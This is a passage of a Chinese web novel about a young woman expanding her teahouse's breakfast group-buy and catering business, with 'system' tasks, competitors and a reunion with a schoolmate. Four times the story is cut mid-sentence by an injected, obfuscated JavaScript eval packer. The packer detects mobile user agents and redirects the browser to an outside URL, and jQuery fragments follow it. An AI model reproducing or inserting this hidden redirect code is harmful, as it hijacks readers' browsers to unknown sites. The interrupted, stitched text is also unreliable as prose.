“所以说,学校的生意我是舍不得放弃的。这些日子跟您合作下来,我也知道您是个厚道人,这么重要的生意,也只有交给您我才能放心。”
话说完了,还抬头用十分诚挚的目光看向冯姐。
冯姐心中顿时激情澎湃,自己活了五十多年,什么时候被人如此信任过?
再说了,小夏老板可是自己看着起家的,那跟一家人有什么区别?
她用力一拍大腿,“小夏老板,你放心好了,学校的生意我一定给你搞得红红火火的,绝对不让你有后顾之忧。”
夏咏恩感激涕零,两人好一阵亲热,立马就签了一份补充协议,一式两份。
领着补充协议走出荣兴楼,热血沸腾的冯姐马上就给丈夫打了个电话,将这个好消息告诉了他。
将学校的事情分了出去,夏咏恩自然也是松了一口气,只不过她和冯姐说好了,明后两天还得再去学校摆摊,要把这事跟常来的学生们简单说一说。
得知夏咏恩以后都不会来学校的消息,学生们自然是很是伤心。姚晓彤咬着新鲜出炉的生肉包,顿时就觉得没有昨日吃的那么美味了。
虽然说她也知道,冯阿姨卖的东西也是夏姐姐亲手做的,如果想要找夏姐姐,去家附近的早餐铺就好了,可放学找夏姐姐,和跟着爸爸去早餐铺,心情总还是不太一样。
但不管怎么样,学校的生意还是顺利交接到了冯姐的手上。
夏咏恩在荣兴楼伸了个懒腰,不用出摊就能躺着收钱的感觉真好啊!
现在除了早餐铺每日的经营之外,还有周末在美食广场的摊位以及团购业务需要操心。
美食广场由于是周末摆摊,和早餐铺以及团购的经营时间并不重合,所以短时间内她还是能顾得过来。
之所以要把学校下午的摆摊也分出去,最主要就是因为团购业务的扩张速度实在是超乎了夏咏恩的想象。
短短一周,后台的订单量就从三百多增加到五百多单了。
赖美珍又回了一趟糕饼铺子,给荣兴楼找回来两个短工。现在店里一共四个短工,加上珍姨和夏咏恩,才能应付每日需要出货的点心量。
眼看团购业务越来越红火,夏咏恩还找到何玉强商量,要不要在小程序上设定每日承接的预订单,比如说设定一天最多只能接取五百单。
可是仔细想想,只听过抢演唱会门票和火车票的,还没听过抢早餐的,要是真限定了量,怕是会被人骂饥饿营销。
于是夏咏恩只好作罢,老老实实回后厨揉面。
然而团购上线第三周,订单数就减少了许多。
夏咏恩刷新了几回后台数据,发现明天的预订单只有三百六十九单。而且已经连着三天都是这样,前两周每日的订单数都有五六百单,现在竟然一下子少了三分之一。
她叫来沈红问问,“最近团购的生意还好吧?”
听她这样一问,沈红立马紧张起来,仔细想了想回道,“挺好的,不过我感觉这几天好像人少了一些,但总体上没有什么大的事情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533701|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发生。”
夏咏恩又问了何玉强同样的问题。经过两个星期的磨砺,现在何玉强已成了打包的熟手,和沈红配合默契,配餐的速度快多了。
而何玉强说的内容也跟沈红的类似,并没有发现什么特别之处。
那就奇怪了,无端端的怎么订单量少了一半?
夏咏恩肯定,一定是发生了什么自己不清楚的事情。
次日一早,她让何玉强留下来给赖美珍打下手,自己跟着沈红去荔江新城。
自从昨日夏咏恩问了那个问题之后,沈红心里便有些不安和自责。夏老板将团购的事情全部托付给自己,现在团购业务上出了事情,自己却什么都不知道,这怎么说得过去?
再加上,今日是她跟夏咏恩头一回一起工作,从上车开始,沈红手心里的汗那就没干过。
“红姐你别紧张,我就是过去看看,做生意会受到很多方面的影响,我们要做的就是找出影响生意的原因,能解决的就解决。”
听见这话,沈红总算是松了一口气。这两个星期来,丈夫的身体好了不少,已经出院在家休养了,虽然还要在轮椅上坐上几个月,但精神头比以前好多了。
这一切,都得多谢夏老板介绍的这份活计。
“我丈夫现在已经恢复得差不多了,我想着再过几个星期,就让他陪我过来荔江新城上班,反正配餐和打包的事情,他坐在轮椅上也能做,这样就不用麻烦何小姐过来帮我了。”
夏咏恩看向沈红,“这事不急,先让沈大哥好好恢复吧,其实前阵子我就想请个人回来给你打下手了,只是暂时还没找到合适的。”
虽然何玉强愿意帮忙,但人家是来度假的,夏咏恩的脸皮还没有厚到让何玉强打白工。之前不请人,那是低估了团购的热度,可也总不能一直让何玉强就这么替着。
不过,要是查不出来团购订单骤减的原因,这请人的费用也可以免了。
车子开到荔江新城,夏咏恩跟着沈红到了派发早餐的地方,在人群里就瞄到了吴帆的身影。
说来也奇怪,自从吴帆开始团购早餐后,每天在楼下都总能碰见钟律师,自然也就不得已上了同一辆电梯。
所以一来二去,两个人也就慢慢熟悉了起来,可说到底两人还是上下级,吴帆的心里还是有些怕怕的。
吴帆走上前,惊讶问道,“咏恩,今天怎么是你呀?”
“怎么,学长不想见到我?”夏咏恩麻利地打包早餐,一边和他打趣一边问,“你们律所订我们团购的人多吗?”
“多呀,现在我那个群里除了实习律师,不少授薪律师也进来了,大家都说你家的早餐好吃!”
钟律师在后面幽幽道,“确实味道很不错。”
见问不出什么,夏咏恩和吴帆聊了几句就说了再见。
吴帆刚走,她便无意间瞄到不远处的两个女生,乍看一下没啥特别的,她们只不过是拎着一袋早餐快速走过罢了。
可再仔细观察就会发现,那早餐袋上印的,并不是荣兴楼的商标。
她的眉头皱了起来,又仔细观察了好一会,发现时不时就有白领拎着别家的早餐袋走过。
等取餐高峰期过了,夏咏恩跟沈红交代一声,“红姐,我出去看看,很快就回来。”
35. 竞争对手
沿着这些白领行进的方向,夏咏恩倒着追了回去,一直从华汇城南区走到了中区,一路上又看到不少白领提着别家的塑料袋,袋子里装的是早餐。
她猜想,多半是有同行见荣兴楼团购业务太旺,所以开始模仿了起来。
果不其然,夏咏恩在华汇城北区转了一圈,就发现了一个派餐点,卖早餐的是一个名不经传的小店。
她上网搜了一下,查到这家早餐店开在荔江新城附近的城中村,可以说有非常好的地理优势。
她还从李敏瑶和徐梦那里打听到,除华汇城外,荔江新城的其他商场中也出现了团购。
夏咏恩将所有竞争对手的早餐都买了回来逐一品尝。论味道,肯定还是荣兴楼的早餐要更胜一筹,各家早餐的价格也跟荣兴楼的差不多,那最大问题恐怕就出现在地理位置上了。
回到荣兴楼,夏咏恩打开地图,认真分析了起来。
从前期调研可以得知,荔江新城的区域很大,高楼大厦林立,光是大型的商场就有五个,各写字楼之间通过商场和陆桥连接,而其中华汇城串联的写字楼是最多的。
华汇城有北、中、南三区之分,现在荣兴楼的派餐点处于华汇城南区,南区附近写字楼的白领是团购最直接的目标人群。
在没有竞争对手的情况下,中区和北区附近的白领也会通过地下商场来到南区取餐,甚至那些工作地点远离华汇城的白领,为了尝鲜也有可能来到华汇城南区取餐。
但是现在,华汇城北区出现了竞争对手,在北区附近上班的白领自然就不会来到南区了,而且现在其他商场也出现了团购,荣兴楼自然就缺乏了优势。
何玉强捧着脸问,“那怎么办?我们也要去北区派餐吗?”
夏咏恩摇了摇头,“不行,我们人手不够,而且整个荔江新城那么大,我们总不能占据每一个商场吧。”
尽管夏咏恩也很心疼这些流失的客源,可正所谓人心不足蛇吞象,现在荣兴楼还在起步阶段,人手不足、产能不够是最大的短板,光凭现在手下的几个人,不可能将团购覆盖到整个荔江新城。
这一点,夏咏恩最开始时就已经想到了。
有市场就会有竞争,世界上聪明的又不止自己一个,而且荔江新城的商机这么多,光凭荣兴楼一家,自然是没办法吃下这么大的利润,就算真将这家店赶走了,也会有新的竞争对手冒出来。
再说了,前两周的五六百单对于荣兴楼来说也是一种负担,过分火爆的生意虽然能赚到许多钱,但为了赶制订单,夏咏恩和赖美珍拉着四个帮工可是干得腰酸背痛。
很多时候为了快点完工,一些细节的地方就难免会被忽视,点心的口感、味道、外观上也会出现一些小瑕疵。
和之前在学校外摆摊的小打小闹不同,这一回面对的情况就复杂多了。
夏咏恩仔细想想,竞争对手的出现,对于荣兴楼来说,或许也是一件好事。
赖美珍定了定心神,“不管怎么说,现在团购的生意还是很好嘛,每天都有个三百多单已经很不错了。”
“是啊,之前准备搞团购的时候,谁能想到生意会这么好呢?”何玉强点头应和。
夏咏恩深吸一口气,“不管怎么说,我们的团购早餐还是很受大家认可的,尽管出现了竞争对手,我们自己不能乱,一定要稳住阵脚。”
现在团购刚开始,绝不能为了抢生意打压竞争对手,就盲目地乱来。
首先,点心的用料绝不能缩减,味道、口感以及外观都得跟之前保持一致。
其次,要紧紧抓住南区的白领。
“你们还记得,之前我为什么把取餐点定在这里吗?”
何玉强的眼珠转了转,“因为南区是人流最旺的地方,而且南区连通的那两栋写字楼也是整个荔江新城片区楼层最高、公司最多的写字楼。”
“bingo!”夏咏恩打了个响指,其实仔细算一算,现在流失的客源并没有特别多,只是比之前少了差不多三分之一而已。这三分之一的客源,或许是来自于北区和中区的白领。
可就算客源流失也好,这几日始终还有三百多单的订单,她猜测这些订单多半都是来自南区的白领。
“这两栋写字楼有六十层高,里面的员工绝对不止三百个人,我们要在现有的基础上,继续开发南区写字楼的客户。”
别看现在每天来取餐的白领不少,但取餐点又不是在公司大堂,还是会有很多没有听说过荣兴楼的人。
只要牢牢抓住南区的白领,团购的生意就不会差到哪里去。
第三,就是尽量争取中区的白领。
北区离南区走过来最快也要十分钟,对于赶时间上班的白领来说实在是太远了,而中区走到南区只要五分钟,所以在有余力的情况下,也可以做做中区白领的生意。
就算有竞争又如何,只要稳住本心,保持以往的品质,团购的生意虽然不至于爆火,可赚一大笔钱还是没有问题的。
夏咏恩讲完,荣兴楼大堂内掌声雷动,尤其是春桃,激动得把手都要拍烂了。
春桃是珍姨找回来的那四位帮工的其中之一,原本帮工都是只干五个小时,可春桃还提出想要多干几个小时。
这阵子相处下来,珍姨对她很是喜欢,再了解了一下她家里的情况后,便跟夏咏恩推荐春桃可以取代何玉强,给沈红打下手。
经过夏咏恩考察后,就跟春桃签了正式的合同,如今她已是荣兴楼内除珍姨之外的第三名正式员工了。
春桃第一天上岗,就接到了夏咏恩吩咐的特殊任务:拉新。
她要做的事情很简单,就是在打包的时候,将店里最新推出的拉新活动告诉客人,只要配上一张荣兴楼的早餐发朋友圈,就免费送一个鸡蛋和一杯豆浆。
尽管夏咏恩知道,大多数人发了之后都会马上删掉,可也会有人一直保留着,只要能增加一些曝光度,那也是荣兴楼赚了。
除此以外,店里又订购了一批新的塑料袋,袋子上就印着团购小程序的二维码,感兴趣的人就可以直接扫码查看菜单。
虽然这些都只是一些很小的措施,但正所谓细节决定成败,能多吸引一个顾客,就能多赚一分钱。
国庆节假期过后,团购的生意逐渐平稳了下来,每日的订单量在四百出头,正好是现在荣兴楼能承担的最大限度。
而在不知不觉间,夏咏恩完成了系统的阶段任务。
【阶段任务:三十日内食客认可度达到2000已完成!】
随着一道金光闪过,在“酥皮蛋挞”图标的右侧的方框中出现了一个新的点心标志。
看见新解锁的点心,夏咏恩十分欣喜,这是她最喜欢吃的粤式点心!
【恭喜宿主完成任务!解锁“虾饺”配方】
说起粤式点心,就算不了解的人,也能说出来虾饺的名字。
因此,若要在粤式早茶中选出一个代表性的点心,虾饺的票数一定是最高的。
而虾饺之所以如此闻名,很大一部分是因为虾饺只能在粤东省吃到。
在早茶的“四大天王”中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535670|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,干蒸烧卖原本就来自北方,全国都有类似的,只不过是内馅不同;叉烧包除了独特的叉烧馅,和其他的包子也没有特别大的区别;至于酥皮蛋挞,它的亲戚葡挞火遍大江南北,几乎人人都吃过。
可虾饺就不同了,出了粤东省根本就没有,就是相似的食物也闻所未闻。
虾饺来源于20世纪初花城的一处小渔村,那里是河涌的交汇处,村民每日都能打捞出许多新鲜的鱼虾。因为渔获太多,村民吃不及时,便将鲜虾用澄面皮包着做成饺子状,取名为虾饺。[1]
好吃的虾饺,皮一定是非常薄的,薄到可以看到里面的透着粉色的虾肉。
皮不能太软,必须紧紧地包裹住里面的虾肉,整体的造型挺拔饱满,一口咬下去肉和皮不能散开,但也不能太过硬,因为虾饺的皮,要以软滑为佳。
因此,做虾饺是非常考验点心师傅手艺的。
也是因为虾饺太过闻名,全花城每一间茶楼都会售出虾饺。
为了吸引客人,许多茶楼都会在原有的虾饺上进行改动,比如说在虾饺馅中加入蟹肉瑶柱等其他海鲜,又或者在虾饺皮上做功夫,用不同颜色的天然染料做出五颜六色的虾饺。
而夏咏恩面前的这一笼虾饺,就在虾饺皮上点缀了三颗黑松露,里面的鲜虾替换成了濑尿虾,半个手掌那么大的濑尿虾,被澄面皮裹得紧紧的,就像穿了一套紧身衣一样。
除了“特色濑尿虾虾饺”外,她的面前还摆了许多笼常见的早茶点心。
蜜汁黑叉叉烧包、鲜虾红米肠、酱蒸凤爪、荔芳艇仔粥、松化鸡蛋挞、柠香牛肉球、黑椒牛仔骨、沙爹酱蒸金钱肚、XO酱炒萝卜糕、鸳鸯流沙包、爆汁腐皮香菇卷、叉烧酥、泰皇榴莲酥、金鸡咸水角……
吴帆举起茶杯,“今天我们能够在这里相聚,实在是不容易啊!”
为了这个校友聚会,他可是筹措了许久。一开始说要来的有三十多人,可过了一阵子,就陆陆续续地有人说不来了,反正不是家里有事就是公司有事,最后能约出来的,加上他自己也就是十三个人而已。
原本他包了一个咖啡厅,想着环境安静适合大家聊聊天,可现在就十几个人,那还喝什么咖啡啊,干脆一起来喝早茶得了,于是便在市中心的五华苑茶楼订了一个大桌。
知道要喝早茶,夏咏恩自然欣然同意了。
五华苑的名头她还是听过的,这是一
家品类多样味道一般的茶楼,价格有些贵,在花城有七八间连锁店,是外地游客来花城吃不会踩雷的最好选择。
但因为点心的价格较贵,味道也没有特别惊艳,在许多花城人的心里,五华苑的地位并没有很高。
不少年纪较大的花城人甚至痛斥五华苑拉低了粤式早茶的水平,给游客留下不好的印象,而外地的游客却十分喜爱五华苑,还认为其应登上花城的必吃榜。
这次趁着聚会,夏咏恩一边吃就一边默默记录,虽然五华苑的点心味道一般,但大至店内设计,小至点心的摆盘,各处都有值得自己学习的地方。
何玉强和众人有一搭没一搭地聊着,坐在吴帆身边的一个男人开口道,“帆哥,你不是跟梁修文是一个宿舍的吗,这次怎么没叫他来?我还想找他要个签名呢。”
“就是啊,不是说梁修文要来吗,怎么不见他人啊?”
听见这话,何玉强拿着筷子的手顿了顿,赶紧看向一旁的夏咏恩,“靠,吴帆还请了梁修文?”
[1]参考《广式点心制作工艺》(广东省“粤菜师傅”工程培训教材)
36. 疯狂搞钱
夏咏恩拿起茶盏喝了口水,“来就来呗,我俩也没什么深仇大恨。”
何玉强用膝盖撞了撞她的大腿,“口是心非,我还不知道你。”
“唉,都过去这么久了,也都是误会而已,”说实话,夏咏恩并不排斥跟梁修文见面,只是想起当初学校里传的流言蜚语,就觉得有些烦人而已,“我对他本人,那是没什么意见的。”
何玉强撇了撇嘴,“不过也是,他人确实不错,要怪就怪当年那些碎嘴的,要不然啊,我看你俩也挺配的。”
这话一出,就换夏咏恩用手肘肘击何玉强了。两人一阵打闹,就听吴帆解释,“我一早就联系他了,可惜他没空,要不然我肯定让他今天过来给大家签个十本八本的。”
夏咏恩拿着筷子默默在挑着碗里的葱,忍不住在想,这么多年没见梁修文,也不知道他有没有变样?
早茶吃到一半,就听吴帆说起律所团建的事情,夏咏恩灵机一动,连忙放下筷子,“学长,你们早餐定了吗?”
“怎么了?”见她这样问,吴帆脑海中的那条筋好像一下子就搭通了,“你该不会是想承包我们团建的早餐吧?”
夏咏恩猛地点了点头,“我们荣兴楼的早餐你也吃过的,味道好价格还便宜,要不要考虑一下?”
这样一说,好像早餐交给荣兴楼承包确实是一个不错的选择。
可前几日自己和老板说起团建的早餐事宜时,老板顺口提起了一间西式的面包店,是律所人事推荐的,据说味道不错。而且那间面包店就在公司附近,送餐十分方便。
虽然老板没有明说,可吴帆也明白,老板估计是有些属意这间面包店了。
面包店的早餐套餐吴帆看过,一条海苔明太子法棍十八元,一个柠檬法式小餐包八块,外加一杯白脱拿铁二十五元,加起来总共是五十一块钱。
整个律所上百号人,光是吃个早餐就要五千多块,属实是有些破费。
对于吴帆来说,一大早吃个硬邦邦冷冰冰的法棍,还不如啃一个流沙包来得舒服。
但既然老板有意,吴帆自然不好说什么,而且不用自己做决定,还更加省心,便去找人事要了面包店的联系方式。
原本这事已尘埃落定,可如今夏咏恩提起了,吴帆一下就觉得,对啊,为什么不找荣兴楼承包早餐呢?
可想到老板那边,他便有些犹豫起来,对着夏咏恩问道,“你们还有余力做团建的早餐吗?”
夏咏恩立刻应了下来,“有,怎么没有,我们肯定能做啊!”
隔壁的何玉强瞄了她一眼,前几日她还听夏咏恩说起店里人手不够实在是有些忙不过来,现在要是接下律所的团建,还怎么做得完?
之所以夏咏恩会答应得那么爽快,是因为她现在十分缺钱。
完成食客认可度达到2000的任务后,系统解锁了新的阶段任务。这一次的阶段任务,和之前的所有任务都不同。
【阶段任务:请在两个月内还清荣兴楼欠下的全部债务】
看见新的任务,夏咏恩傻眼了。她赶紧问系统,“现在我还欠着多少债务?”
几秒后,系统面板更新了荣兴楼的资产情况。
【当前总资产:-98745.3元】
夏咏恩一惊,自己辛辛苦苦几个月,怎么才赚了十万块啊!
根据目前荣兴楼的经营情况,夏咏恩认真算了一笔账。
学校早餐一周的营业额在5000元左右,放学时的营业额能达到3500元,以一个月四周计算,扣掉给冯姐的三成到手23800元。
周末两天在美食广场摆摊的营业额是4000元左右,一个月下来是16000元。早餐铺一周的营业额是5000,一个月就是20000元。
荔江新城的团购是现在荣兴楼收入的大头,现在每日的订单量在400上下,假设客单价为5元,一天能收入2000元,一个月按照22日的工作日计算,月营业额就是44000元。
扣除分给沈红的两成以及加油费,还剩下34500元左右。
这样算下来,不算任何成本,所有的渠道加起来一个月能赚95000元左右。
虽然现在看起来荣兴楼赚得多,可花得也多啊。别的不说,光是请人的费用那就是一大笔花销了,更别提巨额的食材成本费。
三个帮工一天五小时,一小时二十五块,一个月下来就是11250元,加上珍姨和春桃的工资20000元,一个月的人工成本就是31250元。
食材的成本费几乎占了收入的三分之一,每个月都得支出25000元左右。再加上水电费以及杂七杂八的各种费用,例如包装盒包装袋的印制费,还得在月营业额里扣除一万元。
奋斗一个月下来,最后能到夏咏恩手里的,也不过是两万出头而已,就这,还没有算上她自己的人工费呢!
要不是拓展了团购业务,恐怕到手的还会更少。但不管怎么说,现在距离还清债务,也是前进了一大步了。
不过按照这样算下来,两个月还清将近十万块根本是不可能完成的任务。
而且还清债务并不是结束,之后荣兴楼开业肯定还需要一大笔钱,人工、食材、装潢、营销,各种各样的费用加起来,没有五六十万根本开不了业。
对着面前长长的账单,夏咏恩狠狠地挠了挠头,革命还未成功,同志仍需努力。
现在最重要的就是搞钱,疯狂搞钱,玩了命地搞钱!
这样看来,团购还真是荣兴楼的摇钱树,毕竟其他渠道的收入已经差不多固定了,唯独团购还有持续增长的可能,之后一定要多想办法,拓宽团购的客户源才行。
所以,一听到吴帆说起团购的事,夏咏恩的心思就立刻活泛了起来。
平时白领们买早餐,花个五六块就差不多了,客单价较低。可团建就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537487|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不一样了,你那么大一个公司搞团建,再怎么样也得让员工吃饱吧?
更别说吴帆律所这回团建还是爬山,爬山之前肯定是要补充好体力的,每个人两个包子一个鸡蛋一杯豆浆那是最起码的了,这里都七块钱了,再加点别的点心,客单价达到十几块那是轻轻松松啊。
而且承包团建的餐品,也是一个打入吴帆律所内部的好机会,通过这次团建,说不准就能吸引一些平时并没有尝试过团购的律师。
除此以外,她还想通过这次合作,能跟吴帆的律所搭上关系。正所谓一回生二回熟,有了这一次,荣兴楼不就能在律所里挂上号了吗?
见夏咏恩十分诚恳,吴帆也有些动心,可一想到要跟老板说这个事,他心里就未免发怵。
第二天回到律所,趁着汇报工作完毕,他便提了一嘴这个事情。
他的老板是律所的主任,虽说身量不高,瘦瘦小小的,可一个眼神就能让所有人打起寒颤。
今天老板虽然没有化妆,但却涂了一个艳丽的大红色口红,耳朵上戴着一个十分夺目的大耳环。
“荣兴楼?没听过。”
吴帆站在办公桌前,怯怯地说,“是我同学开的茶楼,最近在荔江新城开了团购,我们律所不少人都买过,味道很好的。”
老板盯着电脑屏幕,不断在键盘上打字,两分钟之后才抬眼看了看了吴帆一眼,“价格这么便宜,干不干净的?”
吴帆刚想回话,就被老板的手机铃声打断了。老板接起电话,和颜悦色地对着客户说起工作上的事,脸上皮笑肉不笑的。
他只好尴尬地站在办公桌前,把办公室都看了一遍,又仔细研究了一下老板耳朵上戴着的耳环到底是什么牌子的。
好不容易等老板打完电话,律所的人事突然敲门,说是有文件要老板签名。
老板这才看了看吴帆,“你怎么还在这里?”
吴帆“额”了半天,说不出话,也不知道自己要不要离开。正在此时,律所人事问起了团建早餐的事,“吴律师,你跟那个面包店订好了吗?”
老板喝了一口咖啡,“哦,他刚才找我,说是想换一家店,你也看看吧。”
律所人事接过老板递来的荣兴楼菜单看了几眼,又在小众点评搜了一下,那里显示荣兴楼已经倒闭许久,而且评论区里都是一片骂声,各种吐槽东西难吃的。
再听说荣兴楼是吴帆同学开的茶楼后,她笑了笑道,“吴律,你想帮朋友可以理解,可这个店,看起来不咋样啊。”
吴帆浑身一颤,不是,你这是几个意思,说我任人唯亲?
当着老板的面,吴帆也不好把话说得太直接,只好笑了笑说,“同学是同学,可这又不是我家开的,要是东西不好吃,我也不敢介绍给您呀。”
“再说了,也不是我一个人觉得这家茶楼好吃,钟律师也是这样觉得,他天天和我一起买早餐呢,不信你们问问他!”
37. 团建订单
“钟律师,哪个钟律师啊?”老板在脑子里把全律所姓钟的律师都过了一遍,最后不可置信地说,“不会是我们团队的钟律师吧?”
吴帆点点头,就是他!
之前和钟律师一起拿早餐的时候,听见发朋友圈能送鸡蛋和豆浆,吴帆马上就转发了,而钟律师却无动于衷。
当时吴帆觉得,钟律师可能是嫌麻烦,又或者担心有损自己在客户面前的专业形象,才没有参加这个活动。
可下午摸鱼的时候一刷朋友圈,才发现钟律师发了一条三百来字的小作文,极力夸赞荣兴楼的奶黄包到底有多好吃,还配了九张奶黄包的实拍图。
躲在厕所刷手机的吴帆震惊了,不是,这还是自己平时认识的那个钟律师吗?
而现在震惊的人多了两个,律所人事来了律所三年,和大部分律师都混熟了,唯独不敢近钟律师的身。
吴帆的老板则更加震惊,钟律师跟了自己快十年了,平时他连玩笑都不咋开,就是个工作狂,忙起来连饭都能忘记吃,什么时候也跟年轻人一样好美食了?
老板当着两人的面打开绿泡泡,点进钟律师的朋友圈看了半天,“我怎么没看到你说的那条朋友圈啊?”
吴帆暗道不好,难道钟律师屏蔽了老板?那自己刚刚岂不是说漏嘴了!
被叫进办公室的钟律师面无表情,淡淡地冒出一句话,“荣兴楼的点心好吃。”
既然钟律师都开口了,吴帆的老板便同意让荣兴楼承包这回团建的订单。
律所人事还有些不依不饶,说道,“这些点心看起来也不是很精致,怕是有些上不得台面,要是被客户看见了,会不会有损我们律所的形象啊?”
钟律师看了她一眼,“你是不是收回扣了?”
“钟律师,这话可不能乱说,我只是合理地提出质疑而已,你怎么能这样说话呢……”
律所人事追着钟律师走出了办公室,但见钟律师压根不搭理自己,直接坐在工位上看起了文件,而其他律师向自己投来了好奇的目光,律所人事只好灰溜溜地走了。
吴帆马上拿出手机给夏咏恩报喜讯,“学妹,团建的事情搞定了。”
律所团建定在两周后,参加的人数一共有一百二十三人,根据夏咏恩给的菜单,吴帆的老板定下了团建的套餐,每人一个生肉包,一个奶黄包,一个咸水角,一个白糖糕,外加一个鸡蛋,一杯豆浆,加上平摊下来的运费,总共是十四块钱。
干一单就能赚一千七,还能达到拓展客源的效果,夏咏恩觉得自己赚大发了。
律所的团建活动要在白芸山开展,所以早餐得送到白芸山山脚下。沈红和春桃负责团购,没法去送餐,夏咏恩打算到时候叫一辆货车,自己亲自去白芸山送货。
而因为承接了律所的团建,荣兴楼又开辟了一个新的业务。
夏咏恩在绿泡泡发了一条朋友圈:荣兴楼现在可以承接团餐啦!公司团建活动、下午茶聚会、会议茶歇等各类活动看过来!团餐折扣优惠多多!欢迎新老顾客联系~
发完这条朋友圈,系统弹出了一条新的任务。
【特殊任务触发!承接五次团餐,要求人数必须在50人以上】
看见新的任务,夏咏恩并没有很担心,只要好好完成律所的这次团建,以后一定还能接到更多的团餐,完成任务并不是什么难题。
只不过现在已经解锁的点心里,像生肉包流沙包这类点心,就很显然不适合拿来做下午茶或者是会议茶歇的餐品了,想来也没有人会想在那些场合,捧着一个大包子啃吧。
之前解锁的“酥皮蛋挞”以及“虾饺”适用的场景就会更广,虾饺的单价贵,不适合放在早餐铺或者是早餐团购中售卖,但团餐就不一样了,精致的虾饺光是看起来就赏心悦目,吃起来也是一口一个十分优雅。
酥皮蛋挞很适合配着茶一起吃,放在下午茶或者是茶歇的情景中就十分适合,一人吃一个不至于吃太饱但也能稍稍垫垫肚子。
所以当务之急,还是得尽量提升一下这两样点心的等级,也好让食客有更多的选择。
经过多日的练习,酥皮蛋挞的等级终于提升到了A。夏咏恩守在烤箱面前,满心期待地看着烤箱里金灿灿的十几个蛋挞,一股浓郁的香甜从里头飘了出来,无论是谁闻见了都会忍不住驻足停留。
而在荣兴楼的面前,也来了一位不速之客。
赖美珍热情招呼,“帅哥,今天又来买早餐了?”
“今天不是,我是来找夏咏恩的。”
正在大堂里刷手机看偶像视频的何玉强,不经意地往外一瞥,浑身上下就像是被冰封了一样。还不等她跑进厨房,夏咏恩便端着一盘刚刚出炉的蛋挞走了出来。
而门口站着的那位男子,也跟着珍姨的步伐走进了荣兴楼内,与捧着蛋挞的夏咏恩不期而遇。
梁修文浅笑,“学妹,好久不见了。”
夏咏恩呆愣了几秒,赶紧将手里的蛋挞放下,又擦了擦手,才转向梁修文,“学长,这么巧,你是专门来找我的吗?”
荣兴楼里突然出现了个生人,其他人自然是十分好奇,纷纷往梁修文看去。何玉强努力板起脸来,对着春桃和另外三位帮工说,“好好干活不要分心,也没有什么好看的。”
说罢,她便识趣地拿着手机离开了,大堂内就剩下梁修文和夏咏恩两人。
夏咏恩翻箱倒柜,找出一袋没开封的纸杯,给梁修文倒上了白开水,“店里有点简陋,我平时也不喝茶,你别介意啊。”
“没事,我也不爱喝茶,再说了,我俩之间何必这么客气。”
夏咏恩看着他问,“你是怎么知道我在这里的?”
这事说来也巧,前几天梁修文刚从仲山市回来,无意间刷到吴帆的朋友圈里出现了荣兴楼。于是他便给吴帆发去了消息,“这就是我说包子好吃的那家,你是怎么找到的?”
吴帆猛地一拍大腿,这可真是无巧不成书了,于是便如竹筒倒豆一般,对着吴帆表达了半天自己对荣兴楼的喜爱之情。
末了又说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539911|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“真是没想到师妹的手艺那么厉害,她做的点心比外面卖的都要好吃。”
对着手机屏幕,梁修文看了半天才反应过来,荣兴楼是夏咏恩开的?
一时之间,脑海中又闪过了些许朦朦胧胧的画面。
夏咏恩听他说完,也觉得事情实在太巧,便笑着说,“早知道你来光顾,我就给你打折了。”
梁修文喝了口水,环顾四周看了看茶楼,“之前听说你毕业后放弃了国企的offer回花城了,我还以为是遇上了更好的工作机会,没想到竟然是回来开茶楼。”
“可能在很多人的眼里,我挺傻的吧,”夏咏恩捏了捏手上的纸杯,“不过,我真的一点都不后悔。”
“虽然我不知道别人是怎么想的,可在我看来,你很厉害,很优秀,很特别。”
夏咏恩转头看向梁修文,两年没见,他的模样和在大学的时候似乎并没有什么太大的改变,甚至连说出来的话也是相同的。
大一上学期社团招新,原本夏咏恩对社团和学生会没有多大的兴趣,一心只想兼职以及好好学习。
可社团招新的时候,宿舍的其中一名舍友拜托夏咏恩去参加文学社的招新面试,只要去面试,就能获得一个梁修文的签名。
她不解地问,“谁是梁修文?”
